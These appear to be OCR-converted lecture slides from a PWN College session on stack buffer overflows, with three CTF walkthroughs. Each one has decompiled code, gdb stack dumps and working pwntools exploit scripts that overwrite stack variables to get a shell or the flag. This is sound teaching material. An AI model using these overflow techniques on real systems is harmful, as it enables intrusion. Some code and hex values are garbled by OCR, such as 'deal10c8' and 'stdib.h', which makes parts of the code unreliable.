PWN College

Session 8
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References: https://pwn.college/, https://pwn.college/, https://guyinatuxedo.github.io/

Stack Buffer Overflows

Buffers

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Tamu19 pwn1

Buffers

- A **buffer** is any allocated space in **memory** where data (often **user input**) can be stored.
- For example, in the following C program *name* would be considered a **stack buffer**:

```
#include <stdio.h>
int main() {
    char name[64] = {0};
    read(0, name, 63);
    printf("Hello %s", name);
    return 0;
}
```

Buffers

• Buffers could also be global variables:

```
#include <stdio.h>

char name[64] = {0};

int main() {
   read(0, name, 63);
   printf("Hello %s", name);
   return 0;
}
```

• Or dynamically allocated on the heap:

```
#include <stdio.h>
#include <stdib.h>

int main() {
    char *name = malloc(64);
    memset(name, 0, 64);
    read(0, name, 63);
    printf("Hello %s", name);
    return 0;
}
```

Buffers

• Exploits:

• Given that **buffers** commonly hold **user input**, mistakes when writing to them could result in **attacker-controlled data** being written **outside** of the **buffer's space**.

Buffer Overflow

• A **Buffer Overflow** is a vulnerability in which data can be written which **exceeds** the **allocated** space, allowing an attacker to **overwrite** other **data**.

Stack Buffer Overflows

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- We are given a binary file.
- We are dealing with a **64-bit** binary with a **Stack Canary** and **Non-Executable stack**.

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled

PIE: No PIE (0x400000

- So we can see the program prints the string *Are you a big boiiiii?*? with puts. Then it proceeds to scan in **0x18 bytes** of data into input.
- The target integer is initialized **before** the **read** call, then compared to a value (*0xcaf3baee*) after the read call.

```
undefined8 main(void)
 long in FS OFFSET;
 undefined8 local 38;
 undefined8 local 30;
 undefined4 local 28;
  int iStack36:
 undefined4 local 20;
 long local 10;
 local 10 = *(long *)(in FS OFFSET + 0x28);
 local 38 = 0;
 local 30 = 0;
  local 20 = 0;
  local 28 = 0;
  iStack36 = -0x21524111;
 puts("Are you a big boiiii??");
  read(0,&local 38,0x18);
  if (iStack36 == -0x350c4512) {
    run cmd("/bin/bash");
  else {
    run cmd("/bin/date");
 if (local 10 != *(long *)(in FS OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
     __stack_chk_fail();
  return 0;
```

- We use **pwntools** and **gdb** to debug this file and to see the stack content after *read*.
- Notice that we put a breakpoint where the comparison has occurred.

```
0x4006a8 <main+103>: cmp eax,0xcaf3baee
gdb-peda$ b* 0x4006a8
Breakpoint 1 at 0x4006a8
```

- Step 1:
 - First, we just send 10 bytes.
 - payload = 'A'*10

```
gdb-peda$x/8x0x7ffd602747c0RSP addr0x7ffd602747c0:0x00007ffd602748f80x000000010040072d0x7ffd602747d0:0x414141414141410x00000000000041410x7ffd602747e0:0xdeadbeef000000000x0000000000000000x7ffd602747f0:0x00007ffd602748f00x30503e6ab81e2c00
```

- Step 2:
 - In the second step, we send **18 bytes** bellow:
 - payload = 'A'*16 + 'BB'

```
      gdb-peda$
      x/8x
      0x7fff4e21a120

      0x7fff4e21a120:
      0x00007fff4e21a258
      0x000000010040072d

      0x7fff4e21a130:
      0x414141414141
      0x41414141414141

      0x7fff4e21a140:
      0xdeadbeef000a4242
      0x0000000000000000

      0x7fff4e21a150:
      0x00007fff4e21a250
      0x84e855b3643e7b00
```

- 4 more extra bytes are needed.
- Step 3:
 - In this step we send **20 extra bytes** and byte representation of *Oxcaf3baee* as payload.
 - payload = 'A'*20 + p32(0xcaf3baee)

```
        gdb-peda$
        x/8x
        0x7ffec9b09060

        0x7ffec9b09060:
        0x00007ffec9b09198
        0x000000010040072d

        0x7ffec9b09070:
        0x414141414141
        0x414141414141

        0x7ffec9b09080:
        0xcaf3baee
        41414141
        0x0000000000000000

        0x7ffec9b09090:
        0x00007ffec9b09190
        0xa7551b220c3c1c00
```

• So we just need to send 'A'*20 + p32(0xcaf3baee) as the payload.

```
→ csaw18_boi (python2.7 -c "from pwn import *; print 'A'*20 + p32(0xcaf3baee)"; cat) | ./boi
Are you a big boiiiii??
ls
boi exploit.py input peda-session-boi.txt peda-session-date.txt python_gdb.py Readme.md
```

• You can also use exploit bellow:

```
# Import pwntools
from pwn import *

# Establish the target process
target = process('./boi')

# Make the payload
# wox14 bytes of filler data to fill the gap between the start of our input
# and the target int
# wox4 byte int we will overwrite target with
payload = "0"*0x14 + p32(0xcaf3baee)

# Send the payload
target.send(payload)

# Drop to an interactive shell so we can interact with our shell
target.interactive()
```

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- We are given a binary file.
- It is a 32-bit binary with RELRO, a Non-Executable Stack, and PIE.

```
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```

• We can see that when we run the binary, it prompts us for **input**, and prints some text.

```
→ 2-tamu19_pwn1 ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
Alex
I don't know that! Auuuuuuugh!
```

- We can see that it will scan in **input** into **local_43** using fgets, then compares our input with **strcmp**. It does this twice. The first time it checks for the string *Sir Lancelot of Camelot \n* and the second time it checks for the string *To seek the Holy Grail.* \n.
- For the **second** check if we pass it, the code will call the function **gets** with **local_43** as an argument.
- The function gets will scan in data until it either gets a **newline** character or an **EOF**. There is no limit to how much it can scan into memory. So we will be able to **overflow** it and start **overwriting** subsequent things in memory.

```
undefined4 main(void)
 int iVarl;
 char local 43 [43];
 int local 18:
 undefined4 local 14;
 undefined *local 10:
 local 10 = &stack0x000000004;
 setvbuf(stdout, (char *)0x2,0,0);
 local 14 = 2;
 local 18 = 0;
 puts(
      "Stop! Who would cross the Bridge of Death must answer me these questions three, ere the
     other side he see."
 puts("What... is your name?");
 fgets(local 43,0x2b,stdin);
 iVarl = strcmp(local_43, "Sir Lancelot of Camelot\n");
 if (iVarl != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
   exit(0):
 puts("What... is your quest?");
 fgets(local 43,0x2b,stdin);
 iVar1 = strcmp(local_43, "To seek the Holy Grail.\n");
 if (iVarl != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
   exit(0):
 puts("What... is my secret?");
 qets(local 43);
 if (local 18 == -0x215eef38) {
   print flag();
 else {
   puts("I don\'t know that! Auuuuuuuugh!");
 return 0;
```

- We can see that it **compares** the **contents** of *local_18* to *0xdea110c8*, and if it is equal, it calls the *print_flag* function.
- This function prints the contents of *flag.txt*.
- So if we can use the *gets* call to **overwrite** the contents of *local_18* to *0xdea110c8*, we should get the flag.
- So in order to reach the **gets** call, we will need to send the program the string *Sir Lancelot of Camelot* \(n \) and *To seek the Holy Grail*. \(\) \(n \).

```
void print_flag(void)
{
    FILE *__fp;
    int iVarl;

    puts("Right. Off you go.");
    __fp = fopen("flag.txt","r");
    while( true ) {
        iVarl = _IO_getc((_IO_FILE *)__fp);
        if ((char)iVarl == -1) break;
        putchar((int)(char)iVarl);
    }
    putchar(10);
    return;
}
```

- Looking at the **stack layout** in Ghidra shows us the **offset** between the **start** of *local_43* and *local_18*.
 - We can see it by double clicking on any of the variables in the variable declarations for the main function

```
undefined
undefined1
undefined4
Stack[-0x14...local_14
undefined4
Stack[-0x18...local_18
undefined1
Stack[-0x43...local_43
```

- $local_43$ starts at offset -0x43 and $local_18$ starts at offset -0x18.
- This gives us an offset of 0x43 0x18 = 0x2b between the **start** of $local_43$ and $local_18$. Then we can just overflow it and overwrite $local_18$ with 0xdeal10c8.

• Putting it all together we get the following exploit:

```
# Import pwntools
from pwn import *

# Establish the target process
target = process('./pwn1')

# Make the payload
payload = ""
payload += "0"*0x2b # Padding to `local_18`
payload += p32(0xdeal10c8) # The value we will overwrite local_18 with, in little endian

# Send the strings to reach the gets call
target.sendline("Sir Lancelot of Camelot")
target.sendline("To seek the Holy Grail.")

# Send the payload
target.sendline(payload)

# target.interactive()
```

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• We are given a **32-bit binary**, with a **non executable** stack.

```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```

• When we run it, it is complaining about a file opening error, probably trying to open a file that isn't there.

```
→ 3-tw17_justdoit ./just_do_it
file open error.
: No such file or directory
```

- So we can see that the file it is trying to open is **flag.txt**.
- We can also see that this binary will essentially prompt you for a **password**, and if it is the right password it will print in a logged in message. If not it will print an authentication error.
- Let's see what the value of *PASSWORD* is:

```
char *pcVarl;
int iVar2:
char local 28 [16];
FILE *local 18;
char *local 14;
undefined *local c;
local c = \&stack0x000000004:
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
local 14 = failed message;
local 18 = fopen("flag.txt", "r");
if (local 18 == (FILE *)0x0) {
 perror("file open error.\n");
                  /* WARNING: Subroutine does not return */
 exit(0):
pcVar1 = fgets(flag, 0x30, local 18);
if (pcVarl == (char *)0x0) {
 perror("file read error.\n");
                  /* WARNING: Subroutine does not return */
 exit(0):
puts("Welcome my secret service. Do you know the password?");
puts("Input the password.");
pcVarl = fgets(local 28,0x20,stdin);
if (pcVarl == (char *)0x0) {
 perror("input error.\n");
                  /* WARNING: Subroutine does not return */
 exit(0):
iVar2 = strcmp(local 28, PASSWORD);
if (iVar2 == 0) {
 local 14 = success message;
puts(local 14);
return 0:
```

undefined4 main(void)

- So we can see that the string it is checking for is *P@SSW0RD*.
- Now since our **input** is being scanned in through an **fgets** call, a **newline** character 0x0a will be appended to the end. So in order to pass the check we will need to put a **null byte** after P@SSW0RD.

```
→ 3-tw17_justdoit python2.7 -c 'print "P@SSWORD" + "\x00"' | ./just_do_it Welcome my secret service. Do you know the password? Input the password. Correct Password, Welcome!
```

- So we passed the check, however that doesn't solve the challenge.
- We can see that with the *fgets* call, we can input **32 bytes** worth of data into *local_28* which can hold **16 bytes** worth of data. So we effectively have a **buffer overflow** vulnerability with the fgets call to *local_28*.

- We can reach *local_14* which is printed with a puts call, right before the function returns. So we can print whatever we want.
- The **flag.txt** content is stored in **flag** variable. We can find the address of **flag**, then we should be able to overwrite the value of **local_14** with that address and then it should print out the contents of **flag**, which should be the flag.

• There are 20 bytes worth of data between $local_28$ and $local_14$ (0x28 - 0x14 = 20).

• So we can form a payload with **20 extra bytes**, followed by the address of *flag*:

undefin...

00 00 00...

• Here is the python code:

```
#Import pwntools
   from pwn import *
 4 #Create the remote connection to the challenge
   target = process('just do it')
 6 #target = remote('pwn1.chal.ctf.westerns.tokyo', 12482)
 8 #Print out the starting prompt
   print target.recvuntil("password.\n")
11 #Create the payload
   payload = "A"*20 + p32(0x0804a080)
13
14 #Send the payload
   target.sendline(payload)
16
17 #Drop to an interactive shell, so we can read everything the server prints out
18 target.interactive()
```